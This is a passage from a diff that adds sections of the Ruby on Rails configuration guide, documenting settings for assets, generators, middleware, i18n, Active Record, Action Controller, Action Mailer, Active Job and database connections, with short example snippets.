+    config.logger      = ActiveSupport::TaggedLogging.new(mylogger)
+    ```
+
+* `config.middleware` allows you to configure the application's middleware. This is covered in depth in the [Configuring Middleware](#configuring-middleware) section below.
+
+* `config.reload_classes_only_on_change` enables or disables reloading of classes only when tracked files change. By default tracks everything on autoload paths and is set to `true`. If `config.cache_classes` is `true`, this option is ignored.
+
+* `secrets.secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `secrets.secret_key_base` initialized to a random key present in `config/secrets.yml`.
+
+* `config.public_file_server.enabled` configures Rails to serve static files from the public directory. This option defaults to `true`, but in the production environment it is set to `false` because the server software (e.g. NGINX or Apache) used to run the application should serve static files instead. If you are running or testing your app in production mode using WEBrick (it is not recommended to use WEBrick in production) set the option to `true.` Otherwise, you won't be able to use page caching and request for files that exist under the public directory.
+
+* `config.session_store` specifies what class to use to store the session. Possible values are `:cookie_store` which is the default, `:mem_cache_store`, and `:disabled`. The last one tells Rails not to deal with sessions. Defaults to a cookie store with application name as the session key. Custom session stores can also be specified:
+
+    ```ruby
+    config.session_store :my_custom_store
+    ```
+
+    This custom store must be defined as `ActionDispatch::Session::MyCustomStore`.
+
+* `config.time_zone` sets the default time zone for the application and enables time zone awareness for Active Record.
+
+### Configuring Assets
+
+* `config.assets.enabled` a flag that controls whether the asset
+pipeline is enabled. It is set to `true` by default.
+
+* `config.assets.css_compressor` defines the CSS compressor to use. It is set by default by `sass-rails`. The unique alternative value at the moment is `:yui`, which uses the `yui-compressor` gem.
+
+* `config.assets.js_compressor` defines the JavaScript compressor to use. Possible values are `:closure`, `:uglifier` and `:yui` which require the use of the `closure-compiler`, `uglifier` or `yui-compressor` gems respectively.
+
+* `config.assets.gzip` a flag that enables the creation of gzipped version of compiled assets, along with non-gzipped assets. Set to `true` by default.
+
+* `config.assets.paths` contains the paths which are used to look for assets. Appending paths to this configuration option will cause those paths to be used in the search for assets.
+
+* `config.assets.precompile` allows you to specify additional assets (other than `application.css` and `application.js`) which are to be precompiled when `rake assets:precompile` is run.
+
+* `config.assets.unknown_asset_fallback` allows you to modify the behavior of the asset pipeline when an asset is not in the pipeline, if you use sprockets-rails 3.2.0 or newer. Defaults to `true`.
+
+* `config.assets.prefix` defines the prefix where assets are served from. Defaults to `/assets`.
+
+* `config.assets.manifest` defines the full path to be used for the asset precompiler's manifest file. Defaults to a file named `manifest-<random>.json` in the `config.assets.prefix` directory within the public folder.
+
+* `config.assets.digest` enables the use of SHA256 fingerprints in asset names. Set to `true` by default.
+
+* `config.assets.debug` disables the concatenation and compression of assets. Set to `true` by default in `development.rb`.
+
+* `config.assets.version` is an option string that is used in SHA256 hash generation. This can be changed to force all files to be recompiled.
+
+* `config.assets.compile` is a boolean that can be used to turn on live Sprockets compilation in production.
+
+* `config.assets.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to the same configured at `config.logger`. Setting `config.assets.logger` to `false` will turn off served assets logging.
+
+* `config.assets.quiet` disables logging of assets requests. Set to `true` by default in `development.rb`.
+
+### Configuring Generators
+
+Rails allows you to alter what generators are used with the `config.generators` method. This method takes a block:
+
+```ruby
+config.generators do |g|
+  g.orm :active_record
+  g.test_framework :test_unit
+end
+```
+
+The full set of methods that can be used in this block are as follows:
+
+* `assets` allows to create assets on generating a scaffold. Defaults to `true`.
+* `force_plural` allows pluralized model names. Defaults to `false`.
+* `helper` defines whether or not to generate helpers. Defaults to `true`.
+* `integration_tool` defines which integration tool to use to generate integration tests. Defaults to `:test_unit`.
+* `javascripts` turns on the hook for JavaScript files in generators. Used in Rails for when the `scaffold` generator is run. Defaults to `true`.
+* `javascript_engine` configures the engine to be used (for eg. coffee) when generating assets. Defaults to `:js`.
+* `orm` defines which orm to use. Defaults to `false` and will use Active Record by default.
+* `resource_controller` defines which generator to use for generating a controller when using `rails generate resource`. Defaults to `:controller`.
+* `resource_route` defines whether a resource route definition should be generated
+  or not. Defaults to `true`.
+* `scaffold_controller` different from `resource_controller`, defines which generator to use for generating a _scaffolded_ controller when using `rails generate scaffold`. Defaults to `:scaffold_controller`.
+* `stylesheets` turns on the hook for stylesheets in generators. Used in Rails for when the `scaffold` generator is run, but this hook can be used in other generates as well. Defaults to `true`.
+* `stylesheet_engine` configures the stylesheet engine (for eg. sass) to be used when generating assets. Defaults to `:css`.
+* `scaffold_stylesheet` creates `scaffold.css` when generating a scaffolded resource. Defaults to `true`.
+* `test_framework` defines which test framework to use. Defaults to `false` and will use Minitest by default.
+* `template_engine` defines which template engine to use, such as ERB or Haml. Defaults to `:erb`.
+
+### Configuring Middleware
+
+Every Rails application comes with a standard set of middleware which it uses in this order in the development environment:
+
+* `ActionDispatch::SSL` forces every request to be served using HTTPS. Enabled if `config.force_ssl` is set to `true`. Options passed to this can be configured by setting `config.ssl_options`.
+* `ActionDispatch::Static` is used to serve static assets. Disabled if `config.public_file_server.enabled` is `false`. Set `config.public_file_server.index_name` if you need to serve a static directory index file that is not named `index`. For example, to serve `main.html` instead of `index.html` for directory requests, set `config.public_file_server.index_name` to `"main"`.
+* `ActionDispatch::Executor` allows thread safe code reloading. Disabled if `config.allow_concurrency` is `false`, which causes `Rack::Lock` to be loaded. `Rack::Lock` wraps the app in mutex so it can only be called by a single thread at a time.
+* `ActiveSupport::Cache::Strategy::LocalCache` serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread.
+* `Rack::Runtime` sets an `X-Runtime` header, containing the time (in seconds) taken to execute the request.
+* `Rails::Rack::Logger` notifies the logs that the request has begun. After request is complete, flushes all the logs.
+* `ActionDispatch::ShowExceptions` rescues any exception returned by the application and renders nice exception pages if the request is local or if `config.consider_all_requests_local` is set to `true`. If `config.action_dispatch.show_exceptions` is set to `false`, exceptions will be raised regardless.
+* `ActionDispatch::RequestId` makes a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method.
+* `ActionDispatch::RemoteIp` checks for IP spoofing attacks and gets valid `client_ip` from request headers. Configurable with the `config.action_dispatch.ip_spoofing_check`, and `config.action_dispatch.trusted_proxies` options.
+* `Rack::Sendfile` intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with `config.action_dispatch.x_sendfile_header`.
+* `ActionDispatch::Callbacks` runs the prepare callbacks before serving the request.
+* `ActionDispatch::Cookies` sets cookies for the request.
+* `ActionDispatch::Session::CookieStore` is responsible for storing the session in cookies. An alternate middleware can be used for this by changing the `config.action_controller.session_store` to an alternate value. Additionally, options passed to this can be configured by using `config.action_controller.session_options`.
+* `ActionDispatch::Flash` sets up the `flash` keys. Only available if `config.action_controller.session_store` is set to a value.
+* `Rack::MethodOverride` allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PATCH, PUT, and DELETE HTTP method types.
+* `Rack::Head` converts HEAD requests to GET requests and serves them as so.
+
+Besides these usual middleware, you can add your own by using the `config.middleware.use` method:
+
+```ruby
+config.middleware.use Magical::Unicorns
+```
+
+This will put the `Magical::Unicorns` middleware on the end of the stack. You can use `insert_before` if you wish to add a middleware before another.
+
+```ruby
+config.middleware.insert_before Rack::Head, Magical::Unicorns
+```
+
+Or you can insert a middleware to exact position by using indexes. For example, if you want to insert `Magical::Unicorns` middleware on top of the stack, you can do it, like so:
+
+```ruby
+config.middleware.insert_before 0, Magical::Unicorns
+```
+
+There's also `insert_after` which will insert a middleware after another:
+
+```ruby
+config.middleware.insert_after Rack::Head, Magical::Unicorns
+```
+
+Middlewares can also be completely swapped out and replaced with others:
+
+```ruby
+config.middleware.swap ActionController::Failsafe, Lifo::Failsafe
+```
+
+They can also be removed from the stack completely:
+
+```ruby
+config.middleware.delete Rack::MethodOverride
+```
+
+### Configuring i18n
+
+All these configuration options are delegated to the `I18n` library.
+
+* `config.i18n.available_locales` whitelists the available locales for the app. Defaults to all locale keys found in locale files, usually only `:en` on a new application.
+
+* `config.i18n.default_locale` sets the default locale of an application used for i18n. Defaults to `:en`.
+
+* `config.i18n.enforce_available_locales` ensures that all locales passed through i18n must be declared in the `available_locales` list, raising an `I18n::InvalidLocale` exception when setting an unavailable locale. Defaults to `true`. It is recommended not to disable this option unless strongly required, since this works as a security measure against setting any invalid locale from user input.
+
+* `config.i18n.load_path` sets the path Rails uses to look for locale files. Defaults to `config/locales/*.{yml,rb}`.
+
+* `config.i18n.fallbacks` sets fallback behavior for missing translations. Here are 3 usage examples for this option:
+
+  * You can set the option to `true` for using default locale as fallback, like so:
+
+    ```ruby
+    config.i18n.fallbacks = true
+    ```
+
+  * Or you can set an array of locales as fallback, like so:
+
+    ```ruby
+    config.i18n.fallbacks = [:tr, :en]
+    ```
+
+  * Or you can set different fallbacks for locales individually. For example, if you want to use `:tr` for `:az` and `:de`, `:en` for `:da` as fallbacks, you can do it, like so:
+
+    ```ruby
+    config.i18n.fallbacks = { az: :tr, da: [:de, :en] }
+    #or
+    config.i18n.fallbacks.map = { az: :tr, da: [:de, :en] }
+    ```
+
+### Configuring Active Record
+
+`config.active_record` includes a variety of configuration options:
+
+* `config.active_record.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling `logger` on either an Active Record model class or an Active Record model instance. Set to `nil` to disable logging.
+
+* `config.active_record.primary_key_prefix_type` lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named `id` (and this configuration option doesn't need to be set.) There are two other choices:
+    * `:table_name` would make the primary key for the Customer class `customerid`.
+    * `:table_name_with_underscore` would make the primary key for the Customer class `customer_id`.
+
+* `config.active_record.table_name_prefix` lets you set a global string to be prepended to table names. If you set this to `northwest_`, then the Customer class will look for `northwest_customers` as its table. The default is an empty string.
+
+* `config.active_record.table_name_suffix` lets you set a global string to be appended to table names. If you set this to `_northwest`, then the Customer class will look for `customers_northwest` as its table. The default is an empty string.
+
+* `config.active_record.schema_migrations_table_name` lets you set a string to be used as the name of the schema migrations table.
+
+* `config.active_record.pluralize_table_names` specifies whether Rails will look for singular or plural table names in the database. If set to `true` (the default), then the Customer class will use the `customers` table. If set to false, then the Customer class will use the `customer` table.
+
+* `config.active_record.default_timezone` determines whether to use `Time.local` (if set to `:local`) or `Time.utc` (if set to `:utc`) when pulling dates and times from the database. The default is `:utc`.
+
+* `config.active_record.schema_format` controls the format for dumping the database schema to a file. The options are `:ruby` (the default) for a database-independent version that depends on migrations, or `:sql` for a set of (potentially database-dependent) SQL statements.
+
+* `config.active_record.error_on_ignored_order` specifies if an error should be raised if the order of a query is ignored during a batch query. The options are `true` (raise error) or `false` (warn). Default is `false`.
+
+* `config.active_record.timestamped_migrations` controls whether migrations are numbered with serial integers or with timestamps. The default is `true`, to use timestamps, which are preferred if there are multiple developers working on the same application.
+
+* `config.active_record.lock_optimistically` controls whether Active Record will use optimistic locking and is `true` by default.
+
+* `config.active_record.cache_timestamp_format` controls the format of the timestamp value in the cache key. Default is `:nsec`.
+
+* `config.active_record.record_timestamps` is a boolean value which controls whether or not timestamping of `create` and `update` operations on a model occur. The default value is `true`.
+
+* `config.active_record.partial_writes` is a boolean value and controls whether or not partial writes are used (i.e. whether updates only set attributes that are dirty). Note that when using partial writes, you should also use optimistic locking `config.active_record.lock_optimistically` since concurrent updates may write attributes based on a possibly stale read state. The default value is `true`.
+
+* `config.active_record.maintain_test_schema` is a boolean value which controls whether Active Record should try to keep your test database schema up-to-date with `db/schema.rb` (or `db/structure.sql`) when you run your tests. The default is `true`.
+
+* `config.active_record.dump_schema_after_migration` is a flag which
+  controls whether or not schema dump should happen (`db/schema.rb` or
+  `db/structure.sql`) when you run migrations. This is set to `false` in
+  `config/environments/production.rb` which is generated by Rails. The
+  default value is `true` if this configuration is not set.
+
+* `config.active_record.dump_schemas` controls which database schemas will be dumped when calling `db:structure:dump`.
+  The options are `:schema_search_path` (the default) which dumps any schemas listed in `schema_search_path`,
+  `:all` which always dumps all schemas regardless of the `schema_search_path`,
+  or a string of comma separated schemas.
+
+* `config.active_record.belongs_to_required_by_default` is a boolean value and
+  controls whether a record fails validation if `belongs_to` association is not
+  present.
+
+* `config.active_record.warn_on_records_fetched_greater_than` allows setting a
+  warning threshold for query result size. If the number of records returned
+  by a query exceeds the threshold, a warning is logged. This can be used to
+  identify queries which might be causing a memory bloat.
+
+* `config.active_record.index_nested_attribute_errors` allows errors for nested
+  `has_many` relationships to be displayed with an index as well as the error.
+  Defaults to `false`.
+
+* `config.active_record.use_schema_cache_dump` enables users to get schema cache information
+  from `db/schema_cache.yml` (generated by `bin/rails db:schema:cache:dump`), instead of
+  having to send a query to the database to get this information.
+  Defaults to `true`.
+
+The MySQL adapter adds one additional configuration option:
+
+* `ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans` controls whether Active Record will consider all `tinyint(1)` columns as booleans. Defaults to `true`.
+
+The SQLite3Adapter adapter adds one additional configuration option:
+
+* `ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer`
+indicates whether boolean values are stored in sqlite3 databases as 1 and 0 or
+'t' and 'f'. Leaving `ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer`
+set to false is deprecated. SQLite databases have used 't' and 'f' to serialize
+boolean values and must have old data converted to 1 and 0 (its native boolean
+serialization) before setting this flag to true. Conversion can be accomplished
+by setting up a rake task which runs
+
+    ```ruby
+    ExampleModel.where("boolean_column = 't'").update_all(boolean_column: 1)
+    ExampleModel.where("boolean_column = 'f'").update_all(boolean_column: 0)
+    ```
+
+  for all models and all boolean columns, after which the flag must be set to true
+by adding the following to your application.rb file:
+
+    ```ruby
+    Rails.application.config.active_record.sqlite3.represent_boolean_as_integer = true
+    ```
+
+The schema dumper adds one additional configuration option:
+
+* `ActiveRecord::SchemaDumper.ignore_tables` accepts an array of tables that should _not_ be included in any generated schema file. This setting is ignored unless `config.active_record.schema_format == :ruby`.
+
+### Configuring Action Controller
+
+`config.action_controller` includes a number of configuration settings:
+
+* `config.action_controller.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets rather than the application server itself.
+
+* `config.action_controller.perform_caching` configures whether the application should perform the caching features provided by the Action Controller component or not. Set to `false` in development mode, `true` in production.
+
+* `config.action_controller.default_static_extension` configures the extension used for cached pages. Defaults to `.html`.
+
+* `config.action_controller.include_all_helpers` configures whether all view helpers are available everywhere or are scoped to the corresponding controller. If set to `false`, `UsersHelper` methods are only available for views rendered as part of `UsersController`. If `true`, `UsersHelper` methods are available everywhere. The default configuration behavior (when this option is not explicitly set to `true` or `false`) is that all view helpers are available to each controller.
+
+* `config.action_controller.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Controller. Set to `nil` to disable logging.
+
+* `config.action_controller.request_forgery_protection_token` sets the token parameter name for RequestForgery. Calling `protect_from_forgery` sets it to `:authenticity_token` by default.
+
+* `config.action_controller.allow_forgery_protection` enables or disables CSRF protection. By default this is `false` in test mode and `true` in all other modes.
+
+* `config.action_controller.forgery_protection_origin_check` configures whether the HTTP `Origin` header should be checked against the site's origin as an additional CSRF defense.
+
+* `config.action_controller.per_form_csrf_tokens` configures whether CSRF tokens are only valid for the method/action they were generated for.
+
+* `config.action_controller.default_protect_from_forgery` determines whether forgery protection is added on `ActionController:Base`.  This is false by default, but enabled when loading defaults for Rails 5.2.
+
+* `config.action_controller.relative_url_root` can be used to tell Rails that you are [deploying to a subdirectory](configuring.html#deploy-to-a-subdirectory-relative-url-root). The default is `ENV['RAILS_RELATIVE_URL_ROOT']`.
+
+* `config.action_controller.permit_all_parameters` sets all the parameters for mass assignment to be permitted by default. The default value is `false`.
+
+* `config.action_controller.action_on_unpermitted_parameters` enables logging or raising an exception if parameters that are not explicitly permitted are found. Set to `:log` or `:raise` to enable. The default value is `:log` in development and test environments, and `false` in all other environments.
+
+* `config.action_controller.always_permitted_parameters` sets a list of whitelisted parameters that are permitted by default. The default values are `['controller', 'action']`.
+
+* `config.action_controller.enable_fragment_cache_logging` determines whether to log fragment cache reads and writes in verbose format as follows:
+
+    ```
+    Read fragment views/v1/2914079/v1/2914079/recordings/70182313-20160225015037000000/d0bdf2974e1ef6d31685c3b392ad0b74 (0.6ms)
+    Rendered messages/_message.html.erb in 1.2 ms [cache hit]
+    Write fragment views/v1/2914079/v1/2914079/recordings/70182313-20160225015037000000/3b4e249ac9d168c617e32e84b99218b5 (1.1ms)
+    Rendered recordings/threads/_thread.html.erb in 1.5 ms [cache miss]
+    ```
+
+  By default it is set to `false` which results in following output:
+
+    ```
+    Rendered messages/_message.html.erb in 1.2 ms [cache hit]
+    Rendered recordings/threads/_thread.html.erb in 1.5 ms [cache miss]
+    ```
+
+### Configuring Action Dispatch
+
+* `config.action_dispatch.session_store` sets the name of the store for session data. The default is `:cookie_store`; other valid options include `:active_record_store`, `:mem_cache_store` or the name of your own custom class.
+
+* `config.action_dispatch.default_headers` is a hash with HTTP headers that are set by default in each response. By default, this is defined as:
+
+    ```ruby
+    config.action_dispatch.default_headers = {
+      'X-Frame-Options' => 'SAMEORIGIN',
+      'X-XSS-Protection' => '1; mode=block',
+      'X-Content-Type-Options' => 'nosniff'
+    }
+    ```
+
+* `config.action_dispatch.default_charset` specifies the default character set for all renders. Defaults to `nil`.
+
+* `config.action_dispatch.tld_length` sets the TLD (top-level domain) length for the application. Defaults to `1`.
+
+* `config.action_dispatch.ignore_accept_header` is used to determine whether to ignore accept headers from a request. Defaults to `false`.
+
+* `config.action_dispatch.x_sendfile_header` specifies server specific X-Sendfile header. This is useful for accelerated file sending from server. For example it can be set to 'X-Sendfile' for Apache.
+
+* `config.action_dispatch.http_auth_salt` sets the HTTP Auth salt value. Defaults
+to `'http authentication'`.
+
+* `config.action_dispatch.signed_cookie_salt` sets the signed cookies salt value.
+Defaults to `'signed cookie'`.
+
+* `config.action_dispatch.encrypted_cookie_salt` sets the encrypted cookies salt
+  value. Defaults to `'encrypted cookie'`.
+
+* `config.action_dispatch.encrypted_signed_cookie_salt` sets the signed
+  encrypted cookies salt value. Defaults to `'signed encrypted cookie'`.
+
+* `config.action_dispatch.authenticated_encrypted_cookie_salt` sets the
+  authenticated encrypted cookie salt. Defaults to `'authenticated encrypted
+  cookie'`.
+
+* `config.action_dispatch.perform_deep_munge` configures whether `deep_munge`
+  method should be performed on the parameters. See [Security Guide](security.html#unsafe-query-generation)
+  for more information. It defaults to `true`.
+
+* `config.action_dispatch.rescue_responses` configures what exceptions are assigned to an HTTP status. It accepts a hash and you can specify pairs of exception/status. By default, this is defined as:
+
+  ```ruby
+  config.action_dispatch.rescue_responses = {
+    'ActionController::RoutingError'               => :not_found,
+    'AbstractController::ActionNotFound'           => :not_found,
+    'ActionController::MethodNotAllowed'           => :method_not_allowed,
+    'ActionController::UnknownHttpMethod'          => :method_not_allowed,
+    'ActionController::NotImplemented'             => :not_implemented,
+    'ActionController::UnknownFormat'              => :not_acceptable,
+    'ActionController::InvalidAuthenticityToken'   => :unprocessable_entity,
+    'ActionController::InvalidCrossOriginRequest'  => :unprocessable_entity,
+    'ActionDispatch::Http::Parameters::ParseError' => :bad_request,
+    'ActionController::BadRequest'                 => :bad_request,
+    'ActionController::ParameterMissing'           => :bad_request,
+    'Rack::QueryParser::ParameterTypeError'        => :bad_request,
+    'Rack::QueryParser::InvalidParameterError'     => :bad_request,
+    'ActiveRecord::RecordNotFound'                 => :not_found,
+    'ActiveRecord::StaleObjectError'               => :conflict,
+    'ActiveRecord::RecordInvalid'                  => :unprocessable_entity,
+    'ActiveRecord::RecordNotSaved'                 => :unprocessable_entity
+  }
+  ```
+
+  Any exceptions that are not configured will be mapped to 500 Internal Server Error.
+
+* `ActionDispatch::Callbacks.before` takes a block of code to run before the request.
+
+* `ActionDispatch::Callbacks.after` takes a block of code to run after the request.
+
+### Configuring Action View
+
+`config.action_view` includes a small number of configuration settings:
+
+* `config.action_view.field_error_proc` provides an HTML generator for displaying errors that come from Active Model. The default is
+
+    ```ruby
+    Proc.new do |html_tag, instance|
+      %Q(<div class="field_with_errors">#{html_tag}</div>).html_safe
+    end
+    ```
+
+* `config.action_view.default_form_builder` tells Rails which form builder to
+  use by default. The default is `ActionView::Helpers::FormBuilder`. If you
+  want your form builder class to be loaded after initialization (so it's
+  reloaded on each request in development), you can pass it as a `String`.
+
+* `config.action_view.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action View. Set to `nil` to disable logging.
+
+* `config.action_view.erb_trim_mode` gives the trim mode to be used by ERB. It defaults to `'-'`, which turns on trimming of tail spaces and newline when using `<%= -%>` or `<%= =%>`. See the [Erubis documentation](http://www.kuwata-lab.com/erubis/users-guide.06.html#topics-trimspaces) for more information.
+
+* `config.action_view.embed_authenticity_token_in_remote_forms` allows you to
+  set the default behavior for `authenticity_token` in forms with `remote:
+  true`. By default it's set to `false`, which means that remote forms will not
+  include `authenticity_token`, which is helpful when you're fragment-caching
+  the form. Remote forms get the authenticity from the `meta` tag, so embedding
+  is unnecessary unless you support browsers without JavaScript. In such case
+  you can either pass `authenticity_token: true` as a form option or set this
+  config setting to `true`.
+
+* `config.action_view.prefix_partial_path_with_controller_namespace` determines whether or not partials are looked up from a subdirectory in templates rendered from namespaced controllers. For example, consider a controller named `Admin::ArticlesController` which renders this template:
+
+    ```erb
+    <%= render @article %>
+    ```
+
+    The default setting is `true`, which uses the partial at `/admin/articles/_article.erb`. Setting the value to `false` would render `/articles/_article.erb`, which is the same behavior as rendering from a non-namespaced controller such as `ArticlesController`.
+
+* `config.action_view.raise_on_missing_translations` determines whether an
+  error should be raised for missing translations.
+
+* `config.action_view.automatically_disable_submit_tag` determines whether
+  submit_tag should automatically disable on click, this defaults to `true`.
+
+* `config.action_view.debug_missing_translation` determines whether to wrap the missing translations key in a `<span>` tag or not. This defaults to `true`.
+
+* `config.action_view.form_with_generates_remote_forms` determines whether `form_with` generates remote forms or not. This defaults to `true`.
+
+### Configuring Action Mailer
+
+There are a number of settings available on `config.action_mailer`:
+
+* `config.action_mailer.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Mailer. Set to `nil` to disable logging.
+
+* `config.action_mailer.smtp_settings` allows detailed configuration for the `:smtp` delivery method. It accepts a hash of options, which can include any of these options:
+    * `:address` - Allows you to use a remote mail server. Just change it from its default "localhost" setting.
+    * `:port` - On the off chance that your mail server doesn't run on port 25, you can change it.
+    * `:domain` - If you need to specify a HELO domain, you can do it here.
+    * `:user_name` - If your mail server requires authentication, set the username in this setting.
+    * `:password` - If your mail server requires authentication, set the password in this setting.
+    * `:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`.
+    * `:enable_starttls_auto` - Detects if STARTTLS is enabled in your SMTP server and starts to use it. It defaults to `true`.
+    * `:openssl_verify_mode` - When using TLS, you can set how OpenSSL checks the certificate. This is useful if you need to validate a self-signed and/or a wildcard certificate. This can be one of the OpenSSL verify constants, `:none` or `:peer` -- or the constant directly `OpenSSL::SSL::VERIFY_NONE` or `OpenSSL::SSL::VERIFY_PEER`, respectively.
+    * `:ssl/:tls` - Enables the SMTP connection to use SMTP/TLS (SMTPS: SMTP over direct TLS connection).
+
+* `config.action_mailer.sendmail_settings` allows detailed configuration for the `sendmail` delivery method. It accepts a hash of options, which can include any of these options:
+    * `:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`.
+    * `:arguments` - The command line arguments. Defaults to `-i`.
+
+* `config.action_mailer.raise_delivery_errors` specifies whether to raise an error if email delivery cannot be completed. It defaults to `true`.
+
+* `config.action_mailer.delivery_method` defines the delivery method and defaults to `:smtp`. See the [configuration section in the Action Mailer guide](action_mailer_basics.html#action-mailer-configuration) for more info.
+
+* `config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default. It can be convenient to set it to `false` for testing.
+
+* `config.action_mailer.default_options` configures Action Mailer defaults. Use to set options like `from` or `reply_to` for every mailer. These default to:
+
+    ```ruby
+    mime_version:  "1.0",
+    charset:       "UTF-8",
+    content_type: "text/plain",
+    parts_order:  ["text/plain", "text/enriched", "text/html"]
+    ```
+
+    Assign a hash to set additional options:
+
+    ```ruby
+    config.action_mailer.default_options = {
+      from: "noreply@example.com"
+    }
+    ```
+
+* `config.action_mailer.observers` registers observers which will be notified when mail is delivered.
+
+    ```ruby
+    config.action_mailer.observers = ["MailObserver"]
+    ```
+
+* `config.action_mailer.interceptors` registers interceptors which will be called before mail is sent.
+
+    ```ruby
+    config.action_mailer.interceptors = ["MailInterceptor"]
+    ```
+
+* `config.action_mailer.preview_path` specifies the location of mailer previews.
+
+    ```ruby
+    config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"
+    ```
+
+* `config.action_mailer.show_previews` enable or disable mailer previews. By default this is `true` in development.
+
+    ```ruby
+    config.action_mailer.show_previews = false
+    ```
+
+* `config.action_mailer.deliver_later_queue_name` specifies the queue name for
+  mailers. By default this is `mailers`.
+
+* `config.action_mailer.perform_caching` specifies whether the mailer templates should perform fragment caching or not. By default this is `false` in all environments.
+
+
+### Configuring Active Support
+
+There are a few configuration options available in Active Support:
+
+* `config.active_support.bare` enables or disables the loading of `active_support/all` when booting Rails. Defaults to `nil`, which means `active_support/all` is loaded.
+
+* `config.active_support.test_order` sets the order in which the test cases are executed. Possible values are `:random` and `:sorted`. Defaults to `:random`.
+
+* `config.active_support.escape_html_entities_in_json` enables or disables the escaping of HTML entities in JSON serialization. Defaults to `true`.
+
+* `config.active_support.use_standard_json_time_format` enables or disables serializing dates to ISO 8601 format. Defaults to `true`.
+
+* `config.active_support.time_precision` sets the precision of JSON encoded time values. Defaults to `3`.
+
+* `ActiveSupport::Logger.silencer` is set to `false` to disable the ability to silence logging in a block. The default is `true`.
+
+* `ActiveSupport::Cache::Store.logger` specifies the logger to use within cache store operations.
+
+* `ActiveSupport::Deprecation.behavior` alternative setter to `config.active_support.deprecation` which configures the behavior of deprecation warnings for Rails.
+
+* `ActiveSupport::Deprecation.silence` takes a block in which all deprecation warnings are silenced.
+
+* `ActiveSupport::Deprecation.silenced` sets whether or not to display deprecation warnings.
+
+### Configuring Active Job
+
+`config.active_job` provides the following configuration options:
+
+* `config.active_job.queue_adapter` sets the adapter for the queueing backend. The default adapter is `:async`. For an up-to-date list of built-in adapters see the [ActiveJob::QueueAdapters API documentation](http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html).
+
+    ```ruby
+    # Be sure to have the adapter's gem in your Gemfile
+    # and follow the adapter's specific installation
+    # and deployment instructions.
+    config.active_job.queue_adapter = :sidekiq
+    ```
+
+* `config.active_job.default_queue_name` can be used to change the default queue name. By default this is `"default"`.
+
+    ```ruby
+    config.active_job.default_queue_name = :medium_priority
+    ```
+
+* `config.active_job.queue_name_prefix` allows you to set an optional, non-blank, queue name prefix for all jobs. By default it is blank and not used.
+
+    The following configuration would queue the given job on the `production_high_priority` queue when run in production:
+
+    ```ruby
+    config.active_job.queue_name_prefix = Rails.env
+    ```
+
+    ```ruby
+    class GuestsCleanupJob < ActiveJob::Base
+      queue_as :high_priority
+      #....
+    end
+    ```
+
+* `config.active_job.queue_name_delimiter` has a default value of `'_'`. If `queue_name_prefix` is set, then `queue_name_delimiter` joins the prefix and the non-prefixed queue name.
+
+    The following configuration would queue the provided job on the `video_server.low_priority` queue:
+
+    ```ruby
+    # prefix must be set for delimiter to be used
+    config.active_job.queue_name_prefix = 'video_server'
+    config.active_job.queue_name_delimiter = '.'
+    ```
+
+    ```ruby
+    class EncoderJob < ActiveJob::Base
+      queue_as :low_priority
+      #....
+    end
+    ```
+
+* `config.active_job.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Active Job. You can retrieve this logger by calling `logger` on either an Active Job class or an Active Job instance. Set to `nil` to disable logging.
+
+### Configuring Action Cable
+
+* `config.action_cable.url` accepts a string for the URL for where
+ you are hosting your Action Cable server. You would use this option
+if you are running Action Cable servers that are separated from your
+main application.
+* `config.action_cable.mount_path` accepts a string for where to mount Action
+  Cable, as part of the main server process. Defaults to `/cable`.
+You can set this as nil to not mount Action Cable as part of your
+normal Rails server.
+
+### Configuring a Database
+
+Just about every Rails application will interact with a database. You can connect to the database by setting an environment variable `ENV['DATABASE_URL']` or by using a configuration file called `config/database.yml`.
+
+Using the `config/database.yml` file you can specify all the information needed to access your database:
+
+```yaml
+development:
+  adapter: postgresql
+  database: blog_development
+  pool: 5
+```
+
+This will connect to the database named `blog_development` using the `postgresql` adapter. This same information can be stored in a URL and provided via an environment variable like this:
+
+```ruby
+> puts ENV['DATABASE_URL']
+postgresql://localhost/blog_development?pool=5
+```
+
+The `config/database.yml` file contains sections for three different environments in which Rails can run by default:
+
+* The `development` environment is used on your development/local computer as you interact manually with the application.
+* The `test` environment is used when running automated tests.
+* The `production` environment is used when you deploy your application for the world to use.
+
+If you wish, you can manually specify a URL inside of your `config/database.yml`
+
+```
+development:
+  url: postgresql://localhost/blog_development?pool=5
+```
+
+The `config/database.yml` file can contain ERB tags `<%= %>`. Anything in the tags will be evaluated as Ruby code. You can use this to pull out data from an environment variable or to perform calculations to generate the needed connection information.
+
+
+TIP: You don't have to update the database configurations manually. If you look at the options of the application generator, you will see that one of the options is named `--database`. This option allows you to choose an adapter from a list of the most used relational databases. You can even run the generator repeatedly: `cd .. && rails new blog --database=mysql`. When you confirm the overwriting of the `config/database.yml` file, your application will be configured for MySQL instead of SQLite. Detailed examples of the common database connections are below.
+
+
+### Connection Preference
+
+Since there are two ways to configure your connection (using `config/database.yml` or using an environment variable) it is important to understand how they can interact.
+
+If you have an empty `config/database.yml` file but your `ENV['DATABASE_URL']` is present, then Rails will connect to the database via your environment variable:
+
+```
+$ cat config/database.yml
+
+$ echo $DATABASE_URL
